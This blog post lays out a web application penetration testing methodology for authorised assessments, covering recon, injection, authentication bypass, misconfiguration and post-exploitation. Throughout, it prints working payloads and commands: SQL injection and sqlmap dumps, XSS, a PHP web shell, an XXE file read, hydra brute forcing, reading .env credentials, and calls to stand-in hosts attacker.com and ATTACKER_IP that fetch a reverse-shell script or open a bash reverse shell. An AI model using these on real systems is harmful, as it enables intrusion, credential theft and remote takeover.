Post

Web Application Security Assessment Methodology

A structured and repeatable workflow for assessing modern web applications. Focused on attack surface mapping, business logic validation, and controlled exploitation rather than tool-driven scanning.

Web Application Security Assessment Methodology

Modern web security assessments are rarely won with payload lists or automated scanners.

Most high-impact findings come from:

  • broken trust boundaries
  • weak authorization logic
  • exposed internal functionality
  • operational misconfigurations

Tools assist.
Methodology determines success.

This workflow represents a field‑tested methodology for conducting consistent, high‑quality web application security assessments.

“The surface is just HTML. The real vulnerabilities hide behind logic, endpoints, and trust.”

Assessment Philosophy

During professional engagements, prioritize:

  • Attack surface reduction before exploitation
  • Manual logic analysis before automation
  • Impact demonstration over proof-of-concept noise
  • Reproducibility and clear reporting

Tools execute tests.
Reasoning finds vulnerabilities.


1. Web Reconnaissance

Subdomain & Directory Hunting

1
2
3
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://target.com/FUZZ -mc all -ac
feroxbuster -u https://target.com
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u > crtsh-subs.txt

Tech Fingerprinting

1
2
3
curl -sI "https://target.com" | grep -i "server\|powered"
whatweb https://target.com
nmap -sV -p 80,443 target.com

Look for forgotten admin panels, hidden APIs, staging servers, or unused subdomains that could be entry points.

Web Server and Firewall Fingerprinting

1
2
wafw00f https://example.com
nmap -p 80,443 --script http-enum target.com

2. Analyze Request/Response Flow

Use Burp Suite or ZAP to:

  • Intercept all HTTP traffic
  • Analyze parameters, cookies, headers
  • Identify auth flows, tokens, session handling

Check for insecure direct object references (IDOR), CSRF, broken access control, and token leakage.

Analyzing Cookies and Session Management

1
curl -I -X GET https://target.com/login | grep "Set-Cookie"

Check for:

  • Cookie flags (HttpOnly, Secure, SameSite)
  • Session fixation or weak session management

3. Input-Based Attacks

SQL Injection

1
' OR 1=1-- -
1
2
sqlmap -u "https://target.com/product?id=3" --dbs --level=5 --risk=3
sqlmap -u "https://target.com/index.php?user=admin&pass=' OR 1=1 --" --dump

Advanced SQLi Commands:

1
sqlmap -u "https://target.com/item?id=1" --union-cols=10 --union-char=1 --batch --dbs

XSS (Reflected / Stored)

1
"><script>alert('XSS')</script>

Advanced XSS: Test for stored XSS in profile, comment, and feedback forms.

1
<script>alert(document.cookie)</script>

Command Injection

1
2
127.0.0.1; whoami
curl -X GET "https://target.com/?id=$(curl attacker.com/reverse-shell.sh)"

4. Authentication Bypass & Bruteforce

Brute POST Logins

1
hydra -l admin -P rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"

Check for:

  • Default creds (admin:admin)
  • No rate limiting
  • Leaked password reset endpoints

OTP Bypass (Token Brute Force)

1
hydra -l admin -P otp_list.txt target.com http-post-form "/login:username=^USER^&password=^PASS^&otp=^OTP^:Invalid login"

Bypassing CAPTCHA

1
gocr -c 0 -i captcha.png > captcha_output.txt

5. Exploit Misconfigurations

File Upload → RCE

1
<?php system($_GET['cmd']); ?>

Upload and access:

1
/uploads/shell.php?cmd=id

Exposed Git repo

1
curl target.com/.git/config

Then use:

1
git-dumper https://target.com/.git/ dumped-site/

SSTI / XXE / SSRF

Test payloads in templates, XML parsers, and image URLs:

1
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Exploiting API Endpoints (API Rate Limiting)

1
curl -X GET https://target.com/api/v1/products --header "Authorization: Bearer YOUR_TOKEN"

Check for:

  • Rate limiting bypass via multiple tokens or IP addresses

6. Advanced Tricks

  • JWT token cracking: try john, jwt_tool, weak secrets
    1
    
    jwt_tool -t token.jwt
    
  • Deserialization: look for serialized objects in cookies or POST
    1
    
    echo "serialized_object" | python -c 'import pickle; print(pickle.loads(input()))'
    
  • CSP bypass → steal sessions with clever XSS
    1
    
    <script src="https://attacker.com/malicious.js"></script>
    

7. Post-Exploitation

Once you get RCE or access:

  • Enumerate server (whoami, uname -a, netstat -tunlp)
    1
    2
    3
    
    whoami
    uname -a
    netstat -tunlp
    
  • Dump .env, config files, DB creds
    1
    2
    
    cat /var/www/.env
    cat /var/www/config.php
    
  • Pivot into internal admin panels
  • Upload web shells or reverse shells (use weevely, nishang, php-reverse-shell)
    1
    
    weevely generate shell.php password
    
  • Use reverse shell techniques:
    1
    2
    
    nc -lvnp 4444
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
    

8. Exploiting Server Misconfigurations

Nginx / Apache Configs

1
2
cat /etc/nginx/nginx.conf
cat /etc/apache2/sites-available/000-default.conf

Look for:

  • Misconfigured Server headers
  • Exposed sensitive paths

Docker and Kubernetes Misconfigurations

1
docker exec -it container_name bash

Look for:

  • Exposed Docker APIs
  • Vulnerabilities in running containers

Tools You’ll Want

ToolUse Case
Burp SuiteIntercept, test, automate
sqlmapSQL injection + DB takeover
ffufFuzzing parameters/directories
wpscanWordPress vulnerability scanning
jwt_toolJWT analysis + cracking
gf, nucleiPattern + vuln scanning
git-dumperDump exposed git repositories
dirsearchDirectory brute-forcing
hydraBrute force various services
gocrCAPTCHA cracking
weevelyWeb shell management

Authorized pentests only. Targeting random websites is illegal, stay ethical.


Attack Flow Summary

  1. Recon (subdomains, dirs, tech stack)
  2. Analyze HTTP logic (auth, roles, sessions)
  3. Inject payloads (XSS, SQLi, LFI, RCE)
  4. Abuse logic flaws & misconfig
  5. Post-exploitation & lateral access

Next Steps / Labs

  • Hack The Box labs
  • OWASP Juice Shop
  • Damn Vulnerable Web Application (DVWA)
  • Public programs via HackerOne or Bugcrowd

“The best payload isn’t in a list. It’s in your head.”

This post is licensed under CC BY 4.0 by the author.